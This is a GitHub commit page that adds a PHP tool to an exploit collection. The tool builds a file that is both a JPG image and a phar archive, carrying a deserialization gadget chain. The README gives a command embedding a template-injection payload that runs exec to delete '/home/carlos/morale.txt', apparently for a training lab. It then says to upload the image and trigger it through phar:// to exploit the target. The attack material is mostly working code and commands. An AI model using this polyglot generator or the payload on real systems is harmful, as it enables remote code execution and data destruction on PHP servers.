Skip to content

Commit ef5c521

Browse files
treetree
tree
authored and
tree
committedNov 6, 2020
add phar polyglot from @kunte0
1 parent 7641a58 commit ef5c521

File tree

2 files changed

+88
-0
lines changed

2 files changed

+88
-0
lines changed
 

‎deserialize/php-phar/README.md

+10
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,16 @@ $ php phar_generate.php
1616
$ php phar_vuln.php
1717
```
1818

19+
## Polyglot between JPG & phar
20+
21+
Edit `phar-jpg-poly.php` to build unserialize gadget chain, place base image (in.jpg) in current directoy.
22+
```bash
23+
$ php phar-jpg-poly.php "{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('rm /home/carlos/morale.txt')}}"
24+
string(211) "O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:0:"";s:4:"desc";s:106:"{{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('rm /home/carlos/morale.txt')}}";}}"
25+
```
26+
27+
Now, upload `out.jpg` & trigger phar://path/to/image to exploit!!
28+
1929
## Reference
2030

2131
* https://medium.com/@knownsec404team/extend-the-attack-surface-of-php-deserialization-vulnerability-via-phar-d6455c6a1066
+78
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,78 @@
1+
<?php
2+
3+
4+
function generate_base_phar($o, $prefix){
5+
global $tempname;
6+
@unlink($tempname);
7+
$phar = new Phar($tempname);
8+
$phar->startBuffering();
9+
$phar->addFromString("test.txt", "test");
10+
$phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
11+
$phar->setMetadata($o);
12+
$phar->stopBuffering();
13+
14+
$basecontent = file_get_contents($tempname);
15+
@unlink($tempname);
16+
return $basecontent;
17+
}
18+
19+
function generate_polyglot($phar, $jpeg){
20+
$phar = substr($phar, 6); // remove <?php dosent work with prefix
21+
$len = strlen($phar) + 2; // fixed
22+
$new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
23+
$contents = substr($new, 0, 148) . " " . substr($new, 156);
24+
25+
// calc tar checksum
26+
$chksum = 0;
27+
for ($i=0; $i<512; $i++){
28+
$chksum += ord(substr($contents, $i, 1));
29+
}
30+
// embed checksum
31+
$oct = sprintf("%07o", $chksum);
32+
$contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
33+
return $contents;
34+
}
35+
36+
// ======= modify here =======
37+
38+
class CustomTemplate{
39+
}
40+
class Blog{
41+
public $user;
42+
public $desc;
43+
public function __construct($user, $desc) {
44+
$this->user = $user;
45+
$this->desc = $desc;
46+
}
47+
}
48+
49+
// pop exploit class
50+
$object = new CustomTemplate();
51+
$object->template_file_path = new Blog("", $argv[1]);
52+
53+
// ===========================
54+
55+
// config for jpg
56+
$tempname = 'temp.tar.phar'; // make it tar
57+
$jpeg = file_get_contents('in.jpg');
58+
$outfile = 'out.jpg';
59+
$payload = $object;
60+
$prefix = '';
61+
62+
var_dump(serialize($object));
63+
64+
65+
// make jpg
66+
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));
67+
68+
/*
69+
// config for gif
70+
$prefix = "\x47\x49\x46\x38\x39\x61" . "\x2c\x01\x2c\x01"; // gif header, size 300 x 300
71+
$tempname = 'temp.phar'; // make it phar
72+
$outfile = 'out.gif';
73+
74+
// make gif
75+
file_put_contents($outfile, generate_base_phar($payload, $prefix));
76+
77+
*/
78+

0 commit comments

Comments
 (0)
Please sign in to comment.